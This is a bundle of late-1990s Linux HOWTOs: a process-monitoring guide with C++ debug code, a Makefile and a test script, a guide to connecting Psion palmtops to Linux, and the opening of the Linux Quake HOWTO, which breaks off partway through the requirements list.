Process Monitor HOW-TO for Linux: Linux or Unix Processes

 Next Previous Contents

1. Linux or Unix Processes

(The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes).

Processes are the "heart" of the Linux/Unix processes. It is very important to monitor the application processes to ensure 100% availability and reliability of the computer system. For example, processes of databases, web-server etc.. need to be up and running 24 hours a day and 365 days a year. Use the tools described in this document to the monitor important application processes.

See also the following related topics on Linux/Unix processes.

  • Unix Programming FAQ - Chapter 1 Unix Processes http://www.erlenstar.demon.co.uk/unix/faq_toc.html

  • Other FAQs on Unix are at http://www.erlenstar.demon.co.uk/unix/


Process Monitor HOW-TO for Linux: Unix/Linux command - procautostart

 Next Previous Contents

2. Unix/Linux command - procautostart

Use the program procautostart (say "Prok-Auto-Start" or Process AutoStart) to monitor and automatically re-start any Unix/Linux process if they die. This tiny program is very powerful and is comparable to big commercial products which costs about $80,000US. Procautostart can be used for controlling following applications:

  • For real-time control of process industries like chemical, manufacturing, power generation and others. Use nano-seconds in program to get fine control.
  • For controlling processes of software applications like Web servers, database servers, mission critical unix processes, etc..
  • As an alarm system for any general monitoring software system. The program can fire a pager or call cell phone or flash red lights on the computer screen. For calling a phone line you may need to use a Telephone card on PCI slot of the computer.

The program listing is given in following sections in this document.

procautostart -n < delay_seconds > -c "< command_line >" nohup &

This starts the unix process procautostart and also command_line process. The procautostart process will re-start command_line process if it dies. The -n option is the time delay in seconds before procautostart checks the running process started by command_line. It is advisable to start the procautostart as background process with no-hangup using "nohup &". See 'man nohup'.

The procautostart is written in "C" so that it is very fast and efficient, since the program is called every n seconds. Amount of resources consumed by procautostart is very minute and is negligible since the program size is small and is highly optimized with -o3 compiler option.

For example -

        procautostart -n 12 -c "monitor_test -d $HOME  -a dummy_arg " nohup &
Here procautostart will be checking the process monitor_test every 12 seconds.

The program will output log files in 'mon' sub-directory which has datetime stamp of when the processes died and re-started. These files gives info on how often the processes are dying.

You can also use micro-seconds option '-m' or nano-seconds option '-o', edit the source code file procautostart.cpp and uncomment appropriate lines.


Process Monitor HOW-TO for Linux: File procautostart.cpp

 Next Previous Contents

3. File procautostart.cpp

Download the latest version of the program from http://www.milkywaygalaxy.freeservers.com, go here and click on 'Source code for Process Monitor HOWTO'.


Process Monitor HOW-TO for Linux: File debug.cpp

 Next Previous Contents

4. File debug.cpp

// From your browser save this file as text-file named as 'debug.cpp'.

#ifdef DEBUG_PRT

#include "debug.h"
// Variable value[] can be char, string, int, unsigned long, float, etc...

void local_dbg(char name[], char value[], char fname[], int lineno, bool logfile) {
        printf("\nDebug %s Line: %d %s is = %s\n", fname, lineno, name, value ); }

void local_dbg(char name[], int value, char fname[], int lineno, bool logfile) {
        printf("\nDebug %s Line: %d %s is = %d\n", fname, lineno, name, value ); }

void local_dbg(char name[], unsigned int value, char fname[], int lineno, bool logfile) {
        printf("\nDebug %s Line: %d %s is = %d\n", fname, lineno, name, value ); }

void local_dbg(char name[], long value, char fname[], int lineno, bool logfile) {
        printf("\nDebug %s Line: %d %s is = %ld\n", fname, lineno, name, value ); }

void local_dbg(char name[], unsigned long value, char fname[], int lineno, bool logfile) {
        printf("\nDebug %s Line: %d %s is = %ld\n", fname, lineno, name, value ); }

void local_dbg(char name[], short value, char fname[], int lineno, bool logfile) {
        printf("\nDebug %s Line: %d %s is = %d\n", fname, lineno, name, value ); }

void local_dbg(char name[], unsigned short value, char fname[], int lineno, bool logfile) {
        printf("\nDebug %s Line: %d %s is = %d\n", fname, lineno, name, value ); }

void local_dbg(char name[], float value, char fname[], int lineno, bool logfile) {
        printf("\nDebug %s Line: %d %s is = %f\n", fname, lineno, name, value ); }

void local_dbg(char name[], double value, char fname[], int lineno, bool logfile) {
        printf("\nDebug %s Line: %d %s is = %f\n", fname, lineno, name, value ); }

// You add many more here - value can be a class, ENUM, datetime, etc...

#endif // DEBUG_PRT


Process Monitor HOW-TO for Linux: File debug.h

 Next Previous Contents

5. File debug.h

// From your browser save this file as text-file named as 'debug.h'.

#ifdef DEBUG_PRT

#include <stdio.h>
//#include <strings.h>
//#include <assert.h>  // assert() macro which is also used for debugging

// Debugging code
// Use debug2_ to output result to a log file
#define debug_(NM, VL) (void) ( local_dbg(NM, VL, __FILE__, __LINE__) )
#define debug2_(NM, VL, LOG_FILE) (void) ( local_dbg(NM, VL, __FILE__, __LINE__, LOG_FILE) )
void local_dbg(char name[], char value[], char fname[], int lineno, bool logfile= false);
void local_dbg(char name[], int value, char fname[], int lineno, bool logfile= false);
void local_dbg(char name[], unsigned long value, char fname[], int lineno, bool logfile= false);
void local_dbg(char name[], float value, char fname[], int lineno, bool logfile= false);

#else

#define debug_(NM, VL) ((void) 0)
#define debug2_(NM, VL, LOG_FILE) ((void) 0)

#endif // DEBUG_PRT


Process Monitor HOW-TO for Linux: Makefile

 Next Previous Contents

6. Makefile

# From your browser save this file as text-file named as 'Makefile'.

#//*****************************************************************
#// Copyright policy is GNU/GPL and it is requested that
#// you include author's name and email on all copies
#// Author : Al Dev Email: alavoor[AT]yahoo.com
#//*****************************************************************

.SUFFIXES: .pc .cpp .c .o

HOSTFLAG=-DLinux
#HOSTFLAG=-DSunOS

CC=gcc
CXX=g++

MAKEMAKE=mm
#LIBRARY=libString.a
DEST=/home/myname/lib

# Note: You should set only ONE value of MYCFLAGS below, that is only
# one line is uncommented and others are commented.
# Use options -Wall (all warning msgs) -O3 (optimization)
MYCFLAGS=-DDEBUG_PRT -g3 -Wall
#MYCFLAGS=-O3 -Wall

#PURIFY=purify -best-effort

SRCS=procautostart.cpp debug.cpp
#HDR=my_malloc.h  String.h StringTokenizer.h File.h debug.h string_multi.h
#LIBOBJS=my_malloc.o String.o StringTokenizer.o File.o debug.o
OBJS=procautostart.o  debug.o
EXE=procautostart

# For generating makefile dependencies..
SHELL=/bin/sh

CPPFLAGS=$(MYCFLAGS) $(OS_DEFINES)
CFLAGS=$(MYCFLAGS) $(OS_DEFINES)

#
# If the libString.a is in the current
# directory then use -L. (dash L dot)
MYLIBDIR=-L$(MY_DIR)/libmy -L.

ALLLDFLAGS= $(LDFLAGS)  $(MYLIBDIR)

COMMONLIBS=-lstdc++ -lm
MYLIBS=-lString
LIBS=$(COMMONLIBS)  $(MYLIBS)

all: $(LIBRARY) $(EXE)

$(MAKEMAKE):
        @rm -f $(MAKEMAKE)
        $(PURIFY) $(CXX) -M  $(INCLUDE) $(CPPFLAGS) *.cpp > $(MAKEMAKE)

$(EXE): $(OBJS) $(LIBRARY)
        @echo "Creating a executable "
        $(PURIFY) $(CC) -o $(EXE) $(OBJS) $(ALLLDFLAGS) $(LIBS)

#$(LIBRARY): $(LIBOBJS)
#       @echo "\n***********************************************"
#       @echo "   Loading $(LIBRARY) ... to $(DEST)"
#       @echo "***********************************************"
#       @ar cru $(LIBRARY) $(LIBOBJS)
#       @echo "\n "

.cpp.o: $(SRCS) $(HDR)
#       @echo "Creating a object files from " $*.cpp " files "
        $(PURIFY) $(CXX) -c  $(INCLUDE) $(HOSTFLAG) $(CPPFLAGS) $*.cpp

.c.o: $(SRCS) $(HDR)
#       @echo "Creating a object files from " $*.c " files "
        $(PURIFY) $(CC) -c $(INCLUDE) $(HOSTFLAG) $(CFLAGS) $*.c

clean:
        rm -f *.o *.log *~ *.log.old *.pid core err a.out lib*.a afiedt.buf  *.class tags
        rm -f $(EXE)
        rm -f $(MAKEMAKE)
        ln -s ../cpphowto/libString.a .

#%.d: %.c
#       @echo "Generating the dependency file *.d from *.c"
#       $(SHELL) -ec '$(CC) -M $(CPPFLAGS) $< | sed '\''s/$*.o/& $@/g'\'' > $@'
#%.d: %.cpp
#       @echo "Generating the dependency file *.d from *.cpp"
#       $(SHELL) -ec '$(CC) -M $(CPPFLAGS) $< | sed '\''s/$*.o/& $@/g'\'' > $@'

# Must include all the c flags for -M option
#$(MAKEMAKE):
#       @echo "Generating the dependency file *.d from *.cpp"
#       $(CXX) -M  $(INCLUDE) $(CPPFLAGS) *.cpp > $(MAKEMAKE)

include $(MAKEMAKE)
#include $(SRCS:.cpp=.d)
#include $(SRCS:.c=.d)


Process Monitor HOW-TO for Linux: Testing the program - monitor_test

 Next Previous Contents

7. Testing the program - monitor_test

From your browser save this file as text-file named as 'monitor_test'.

Use this program for testing the 'procautostart' program. For example -

        procautostart -n 12 -c "monitor_test -d $HOME  -a dummy_arg " nohup &
Here procautostart will be checking the process monitor_test every 12 seconds.

#!/bin/ksh

# Program to test the procautostart

echo "Started the monitor_test ...."
date > monitor_test.log
while :
do
        date >> monitor_test.log
        sleep 2
done
Then do a tail command to monitor the output. And simulate the failures of monitor_test programs.
        bash$ tail -f monitor_test.log
        bash$ ps -ef | grep monitor_test
See the PID of monitor_test and kill it..
        bash$ kill -9 < PID of monitor_test >
Once you kill the process, you will notice that it immediately comes alive due to procautostart !


Process Monitor HOW-TO for Linux: Other Monitoring Tools

 Next Previous Contents

8. Other Monitoring Tools

8.1 Unix init command

The init command is a cool tool to do simple process monitoring. Add :respawn: entry to your /etc/inittab, if you need procees to be respawned. See the online manual page by typing 'man init' at bash prompt.

8.2 OpenSource Monitoring Tools

On linux systems you can find the following packages. If it is not in the main cdrom than you must check in the contrib cdrom :

  • On contrib cdrom daemontools*.rpm

  • 'top' command procps*.rpm

  • 'top' command graphic mode procps-X11*.rpm

  • 'ktop' graphic mode ktop*.rpm

  • 'gtop' graphic mode gtop*.rpm

  • 'WMMon' CPU load wmmon*.rpm

  • 'wmsysmon' monitor wmsysmon*.rpm

  • 'procmeter' System activity meter procmeter*.rpm

To use top commands type at unix prompt -
        $ top
        $ ktop
        $ gtop

8.3 Monitoring Tool - "daemontools"

Visit the web site of daemontools at http://www.pobox.com/~djb/daemontools.html

To install the daemontools RPM, do -

        # rpm -i /mnt/cdrom/daemontools*.html
        # man supervise

supervise monitors a service. It starts the service and restarts the service if it dies. The companion svc program stops, pauses, or restarts the service on sysadmin request. The svstat program prints a one-line status report. See man page by 'man supervise'

svc - control a supervised service.

svc changes the status of a supervise-monitored service. dir is the same directory used for supervise. You can list several dirs. svc will change the status of each service in turn.

svstat - print the status of a supervised service.

svstat prints the status of a supervise-monitored service. dir is the same directory used for supervise. You can list several dirs. svstat will print the status of each service in turn.

cyclog writes a log to disk. It automatically synchronizes the log every 100KB (by default) to guarantee data integrity after a crash. It automatically rotates the log to keep it below 1MB (by default). If the disk fills up, cyclog pauses and then tries again, without losing any data. See man page by 'man cyclog'

accustamp puts a precise timestamp on each line of input. The timestamp is a numeric TAI timestamp with microsecond precision. The companion tailocal program converts TAI timestamps to local time. See 'man accustamp'

usually watches a log for lines that do not match specified patterns, copying those lines to stderr. The companion errorsto program redirects stderr to a file. See 'man usually'

setuser runs a program under a user's uid and gid. Unlike su, setuser does not gain privileges; it does not check passwords, and it cannot be run except by root. See 'man setuser'

8.4 Commercial Monitoring Tools

There are commercial monitoring tools available. Check out -

  • BMC Patrol for Unix/Databases http://www.bmc.com

  • TIBCO corp's Hawk for Unix monitoring http://www.tibco.com

  • LandMark corporation

  • Platinum corporation

  • Treeps - X/Motif Unix Process Visualizer http://www.treeps.org


Process Monitor HOW-TO for Linux: Related URLs

 Next Previous Contents

9. Related URLs

Linux goodies main site is at http://www.milkywaygalaxy.freeservers.com Mirror sites are at - angelfire, geocities, virtualave, Fortunecity, Freewebsites, Tripod, 101xs, 50megs,


Process Monitor HOW-TO for Linux: Other Formats of this Document

 Next Previous Contents

10. Other Formats of this Document

This document is published in 14 different formats namely - DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), MS WinHelp format.

This howto document is located at -

  • http://www.linuxdoc.org and click on HOWTOs and search for howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites -

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    Single HTML file can be created with command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from - http://www.sgmltools.org Compiling the source you will get the following commands like
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

10.1 Acrobat PDF format

PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And postscript file is generated from DVI which in turn is generated from LaTex file. You can download distill software from http://www.adobe.com. Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

10.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has lot more features than linuxdoc. The linuxdoc is very simple and is easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl perl script. You may need to manually correct few lines in the document.

  • Download ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Milkyway Galaxy site
  • Download the cleanup_ld2db.pl perl script from from Milkyway Galaxy site
The ld2db.sh is not 100% clean, you will get lots of errors when you run
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the perl script. For e.g. you may need to put closing tag < /Para> for each < Listitem>

10.3 Convert to MS WinHelp format

You can convert the SGML howto document to Microsoft Windows Help file, first convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

10.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read dvi document give the command -

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in ghostscript*.rpm package and gv program is in gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT, you view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read postscript document give the command -

                gv howto.ps
                ghostscript howto.ps

You can read HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX a X-Windows front end to latex.


Process Monitor HOW-TO for Linux: Copyright Notice

 Next Previous Contents

11. Copyright Notice

Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional restrictions are - you must retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document than you should intimate all the authors of this document.


Linux and Psion HOWTO

Hans Kugler, der.hans@LuftHans.com

v0.0.6, Nov 1999

This document describes how to use Psion palmtops with Linux, but does not cover running Linux on a Psion palmtop. See the Linux 7k project for that.

1. About this HOWTO

  • 1.1 Introduction
  • 1.2 This Document
  • 1.3 Mailing List
  • 1.4 Copyright notice and disclaimer

2. General Information

  • 2.1 What is a Psion
  • 2.2 Psion models
  • 2.3 Psion Availability

3. Sharing data between the Psion and Linux

  • 3.1 Hardware connectivity options
  • 3.2 Programs for connectivity
  • 3.3 Linux utilities
  • 3.4 Psion utilities

4. Series 3

  • 4.1 Further Information
  • 4.2 Programs for connectivity
  • 4.3 Psion utilities
  • 4.4 Informational Web Pages


Linux and Psion HOWTO: About this HOWTO

 Next Previous Contents

1. About this HOWTO

1.1 Introduction

Psion has been making PDA's for years. This document will initially concentrate on the newer Series 5* models, e.g. Series 5, Series 5mx and Series 5mx PRO, but I hope to eventually include info about using older models such as the Series 3* with Linux.

1.2 This Document

The latest version of this document can be found at http://home.pages.de/~lufthans/unix/docs/HOWTO/psion-HOWTO.html and will hopefully be included in the Linux Documentation Project ( LDP).

Please send updates, corrections or suggestions to psion@LuftHans.com.

1.3 Mailing List

There is a mailing list dedicated to using Psions with Linux and developing tools to enhance communication between them.

To subscribe, send a message to majordomo@geekstuff.co.uk, containing the message "subscribe Linux-Psion".

There is also a mailing list dedicated to porting Linux to the Psion 5* models at linux-7110@redhat.com

1.4 Copyright notice and disclaimer

(c) 1999 Hans Kugler

This document may be distributed under the terms set forth in the LDP license at http://www.linuxdoc.org/COPYRIGHT.html.

This document is provided ``AS IS'', with no express or implied warranties. Use the information in this document at your own risk.


Linux and Psion HOWTO: General Information

 Next Previous Contents

2. General Information

2.1 What is a Psion

Psion is a powerful Personal Digital Assistant (PDA) with pen-based touch screen as well as keyboard. There are several models. This HOWTO currently only covers the Series 5* models, e.g. Series 5, Series 5mx and Series 5mxPro.

2.2 Psion models

There are several models of Psion PDAs. All have a foldout case where the screen is in the cover and opening the Psion causes the keyboard to jut out to a more usable position. They also feature the instant on and instant off capabilities of the EPOC operating system.

Psion 3* are older PDAs that still have a lot of functionality and still get sold new due to their meeting needs and being lower cost. This HOWTO doesn't currently cover the Psion 3* series.

Psion 5* has two main product lines with each having two models. The Psion series 5 has a green limited edition counterpart with no functional difference between itself and the standard Series 5. The series 5mxPro, however, has some fundamental differences from the Series 5mx.

All four of the Series 5* products have: compact flash, serial port, keyboard and stylus (for the touchscreen). They all operate on 2 AA batteries and have a backup battery to maintain state when changing out the main batteries. Check out http://www.aha.ru/~akaev/english/indexe.htm to take a tour of a dissected Series 5 classic.

Both of the Series 5 models as well as the Series 5mx have system ROMs where the EPOC operating system is stored. After boot they operate out of the RAM (8MB for the Series 5 models and 16MB for the Series 5mx). The Series 5mxPro, however, has no ROM and operates entirely out of its 24MB of RAM. This enables software upgrades to the Series 5mxPro, whereas the other 3 models must exchange hardware to update EPOC.

Psion recently released the Series 7, which is set to compete against the subnotebook class of PC, but running EPOC.

There are rumors of a Series 6 coming out before the end of 1999. No formal indication of what type of product the Series 6 will be.

2.3 Psion Availability

Psion products are no longer available at retail stores in the US. They are available from retail shops in Europe as well as through mail order. Psion maintains a list of mail order firms by country on their web site.


Linux and Psion HOWTO: Sharing data between the Psion and Linux

 Next Previous Contents

3. Sharing data between the Psion and Linux

3.1 Hardware connectivity options

The Psions have both serial and infra red ports. Either can be used for connectivity, but most connectivity programs currently only have features for the serial port connection.

Serial cable

Armin Podtschaske x-rayed the "honda" connector. His page has an explanation of the pin out in German.

Here it is for those who don't speak German :).

Pin 1 is on the top and pin 15 is on the bottom. Only pins 2 through 8 and 15 are connected.

  • Pin 2: RTS
  • Pin 3: DTR
  • Pin 4: TXD
  • Pin 5: DSR
  • Pin 6: DCD
  • Pin 7: CTS
  • Pin 8: RXD
  • Pin 15: GND - Signal and Power ground
  • Frame: GND - Shield frame ground

IrDA

See the IrDA HOWTO for information about using the Linux IrDA driver with a Psion. It is possible to beam files from Psion 5 (mx) via Linux-IrDA to a Linux System. The irda-utils include a special client psion5.c which can beam files between them.

Builtin programs

There are two builtin software methods to use the communications ports. The first is the remote link, <ctrl>-l from the main file menu, which can be set to serial, infrared or off.

EPOC also provides the program comms. The remote link must be set to off for the comms program to have access to the serial port.

3.2 Programs for connectivity

plptools

Description

plptools (current releases from Matt Gumbley) was originally developed by Fritz Elfert, who had merged plp and p3nfs/p5nfs. plptools is currently being worked on by members of the Linux-Psion mailing list.

plptools comprises of 3 different programs. ncpd provides a socket connection to the Psion. plpnfsd provides mounted filesystem access to the Psion and plpftp provides ftp access to the Psion.

See ftp://ftp.to.com/pub/psion/ for Fritz' original releases.

Usage

ncpd [-V] [-v logclass] [-d] [-p <port>] [-s <device>] [-b <baudrate>]

plpnfsd [-v] [-V] [-p port] [-d mountdir] [-u user]

First start ncpd get it to listen on a port (7501 by default) for connection requests. Then, start either plpnfsd or plpftp. plpnfsd defaults to mount the Psion under /mnt/psion.

kpsion

Description

kpsion is available under unstable/apps/utils/ at your favorite KDE mirror.

It provides a method to use kfm (KDE File Manager) to directly access files on the Psion via a serial link. Psion files can be opened by using 'psion:' or 'epoc:' URLs. It uses ncpd from the plptools package, which must be running to use kpsion, to handle the serial connection.

kpsion also has a Psion Word->HTML/Text viewer/ converter built from psiconv to allow viewing documentation created with Psion Word under Linux.

kpsion is currently ALPHA support for connecting to a Psion Series 5*. It is only available in source and only builds against KDE 1.1 and KDE 1.2. Please read the README and INSTALL files that come with the tarball.

p3nfs/p5nfs

Description

p3nfs mounts the psion drives over the serial cable at /psion.stand/mnt, by default.

ncp

Description

Matt Gumbley originally started ncp for use with his Psion Series 3. Now that he's working on plptools, you should use that :). However, ncp might still be of interest to users of a Psion Series 3, which this HOWTO doesn't cover :). Matt's ncp page also has information about the plp protocol.

3.3 Linux utilities

Psiconv

Description

Psiconv translates Psion Word documents to HTML (3.2 or 4.0) or plain text.

Psion SDK

Description

The EPOC SDK works on Linux via WINE, see Olaf Flebbe's web page for instructions on how to get it working.

3.4 Psion utilities

hermes

Description

hermes is a fully featured vt100 emulator.

perl

Description

Olaf Flebbe has perl running under EPOC.

python

Description

Duncan Booth has python running under EPOC.

E_Shell

Description

E_Shell is a DOS-like shell environment. It provides ways to launch programs from a command line; to check for file system corruption; to create, edit and display plain text files; to check on currently active processes and threads.

c2f

Description

c2f converts the Psion contact file to a comma delimited format.


Linux and Psion HOWTO: Series 3

 Next Previous Contents

4. Series 3

4.1 Further Information

As I said earlier, this HOWTO doesn't cover the Series 3 ( e.g. 3/3a/3c/3mx/Sienna ), however, as I run into information, I will try to place it here anyway. This section will probably never be organized (unless someone else keeps it uptodate), but it still might contain useful information.

4.2 Programs for connectivity

p3nfs/p5nfs

Description

p3nfs, referenced above mounts the psion drives over the serial cable at /psion.stand/mnt, by default.

4.3 Psion utilities

nfsc

Description

nfsc is a vt100 emulator.

4.4 Informational Web Pages

Disassembling a Series 3a (in German only)

Zerlegeanleitung Psion Serie 3a


Linux Quake HOWTO

Bob Zimbinski (bobz@mr.net), Brett A. Thomas (quark@baz.com), and Mike Hallock (mikeh@medina.net)

v1.0.1.18, 18 December 1998

This document explains how to install, run and troubleshoot Quake, QuakeWorld and Quake II on an Intel Linux system.

1. Introduction

  • 1.1 Feedback,Comments, Corrections
  • 1.2 Other Formats of This Document
  • 1.3 Acknowledgments
  • 1.4 Other Sources of Information

2. Quake/Quakeworld

  • 2.1 Minimum Requirements
  • 2.2 Installing Quake
  • 2.3 Adding the Linux Binaries
  • 2.4 Setting Permissions
  • 2.5 X11 Quake
  • 2.6 SVGAlib Quake
  • 2.7 GLQuake
  • 2.8 Linux-Specific Command Line Options
  • 2.9 QuakeWorld
  • 2.10 Servers
  • 2.11 Mods & Addons

3. Quake II

  • 3.1 Prerequisites
  • 3.2 Installing Quake II
  • 3.3 Adding the Linux Binaries
  • 3.4 Setting Permissions
  • 3.5 The X Renderer
  • 3.6 The SVGAlib Renderer
  • 3.7 The OpenGL Renderer
  • 3.8 The GLX Renderer
  • 3.9 Linux-Specific Command Line Options
  • 3.10 Quake II Servers ++
  • 3.11 Mods & Addons

4. Related Software

  • 4.1 QStat
  • 4.2 XQF
  • 4.3 QuickSpy
  • 4.4 QPlug for Linux
  • 4.5 qkHacklib
  • 4.6 GiMd2Viewer
  • 4.7 QIPX
  • 4.8 Ice
  • 4.9 Q2getty
  • 4.10 rcon
  • 4.11 qlog
  • 4.12 Cheapo
  • 4.13 qgraph
  • 4.14 Vispatch ++
  • 4.15 GStat ++
  • 4.16 QuakeLaunch ++
  • 4.17 QPLog ++

5. Troubleshooting/FAQs

  • 5.1 General
  • 5.2 Quake/QuakeWorld
  • 5.3 Quake II

6. Tips & Tricks

  • 6.1 Running X and GL games without setuid
  • 6.2 Running SVGA and GL games from X
  • 6.3 3Dfx "tweak" settings work in Linux too
  • 6.4 The Poor Man's Server Browser
  • 6.5 Using lib3dfxgl.so for Quake I
  • 6.6 Getting rid of that annoying "POSSIBLE SCAN CODE ERROR 57" message in GLQuake. ++

7. Administrivia

  • 7.1 New Versions of This Document
  • 7.2 Distribution Policy
  • 7.3 Revision History


Linux Quake HOWTO: Introduction

 Next Previous Contents

1. Introduction

Quake, QuakeWorld and Quake II are tremendously popular 3D action games developed by id Software.

If you're not familiar with the Quake games, there are better places than this HOWTO to learn about the basics. See section Other Sources of Information below for a list of some of these better places.

This document assumes you have Linux for the Intel platform up and running, and in some cases the X Window System as well. X is not required to run these games, but it's a nice way to test a basic installation. If you are not running X, you may safely skip over any references to it.

Sections of this document that were updated in the last revision have a ** after the section heading. Sections updated in the revision prior to the last are marked with a ++.

1.1 Feedback,Comments, Corrections

This document certainly does not contain everything there is to know about Linux Quake. With your help, though, we can bring it closer to that ideal. We want this HOWTO to be as complete and accurate as possible, so if you notice mistakes or omissions, please bring them to our attention.

Questions, comments, or corrections should be sent to Bob Zimbinski ( bobz@mr.net) or Mike Hallock ( mikeh@medina.net). Constructive criticism is welcome. Flames are not.

1.2 Other Formats of This Document

This document is available in a variety of different formats. Far more than is necessary, actually. You can find them at http://www.linuxquake.com/howto/other-formats.

  • ASCII text
  • ASCII text with backspace-overstrikes , suitable for viewing with man(1)
  • HTML all zipped up and ready to be dropped into your web site
  • Postscript
  • PRC for viewing on your Palm Pilot with Aportis Doc
  • SGML
  • LaTeX
  • All of the above are also available in a single convenient package

1.3 Acknowledgments

The original version of this document was written by Brett A.Thomas (quark@baz.com) and Mike Hallock (mikeh@medina.net). Bob Zimbinski (bobz@mr.net) rewrote and expanded the original document prior to its initial public release.

Special thanks to the following people for bringing us Quake for Linux:

  • John Carmack and the rest of id Software for these great games.
  • Dave 'Zoid' Kirsch (zoid@idsoftware.com) for the Linux ports.
  • Dave Taylor (ddt@crack.com) for starting this whole wacky Linux port business.
  • Daryll Strauss (daryll@harlot.rb.ca.us) for the Linux glide ports.
  • Brian Paul (brianp@elastic.avid.com) for the Mesa graphics library.
  • David Bucciarelli ( tech.hmw@plus.it) for the Mesa/glide driver.

Thanks to the following people for contributions to this Howto:

  • Mike Brunson ( brunson@l3.net) for the vid_restart tip.
  • Joey Hess ( joey@kite.ml.org) for info on running svga & gl games from X
  • Joe S. ( jszabo@eden.rutgers.edu) for a steaming pile of suggestions
  • Brad Lambert ( bradl@dial.pipex.com) for the -noudp reminder.
  • agx ( gguenthe@iris.rz.uni-konstanz.de) for Quake installation info and pointing out QIPX.
  • Derrik Pates ( dmp8309@silver.sdsmt.edu) for making me think about security.
  • Michael Dwyer ( michael_dwyer@mwiworks.com) for the "OS considerations" ideas.
  • Derek Simkowiak ( dereks@kd-dev.com) for the Quake I CD installation procedure.
  • sunstorm ( sunstorm@glasscity.net) Quake Mission Pack 2 information.
  • Neil Marshall ( marshall@pssnet.com) for screen info.
  • Serberus ( serberus@clarion.co.uk) for Vispatch pointer.
  • Andrew Chase ( fixy@fixy.org) for the GLQuake "POSSIBLE SCAN CODE ERROR" fix.

1.4 Other Sources of Information

Linux-Specific Quake Information

  • LQ:Linux Quake & Utilites http://www.linuxquake.com/.
  • Linux Quake Page http://captured.com/threewave/linux/
  • QuakeWorld.net http://www.quakeworld.net

General Quake Information

  • id Software http://www.idsoftware.com
  • PlanetQuake http://www.planetquake.com
  • QuakeWorld Central http://qwcentral.stomped.com
  • 3Dfx's GL Quake FAQ (somewhat out of date) http://www.3dfx.com/game_dev/quake_faq.html
  • Farenheit 176 Console Command Listing http://www.planetquake.com/f176
  • rec.games.computer.quake.* newsgroups

Linux Gaming Information ++

  • The Linux Game Tome http://www.happypenguin.org/
  • LinuxGames.com http://www.linuxgames.com/
  • LinuxGames.org http://www.linuxgames.org/


Linux Quake HOWTO: Quake/Quakeworld

 Next Previous Contents

2. Quake/Quakeworld

To install Quake on your Linux system, you'll need some flavor of the official Quake distribution from id. This will be either the retail DOS/Windows CD-ROM that you bought at your favorite software store, or the shareware version you downloaded from the net (see below for details on acquiring the shareware version). Alternatively, if you've already got Quake installed on a DOS/Windows machine, you can use the relevant files from that installation.

2.1 Minimum Requirements

You will need, as a bare minimum, the following:

  • A Pentium 90 or better (133 recommended) computer
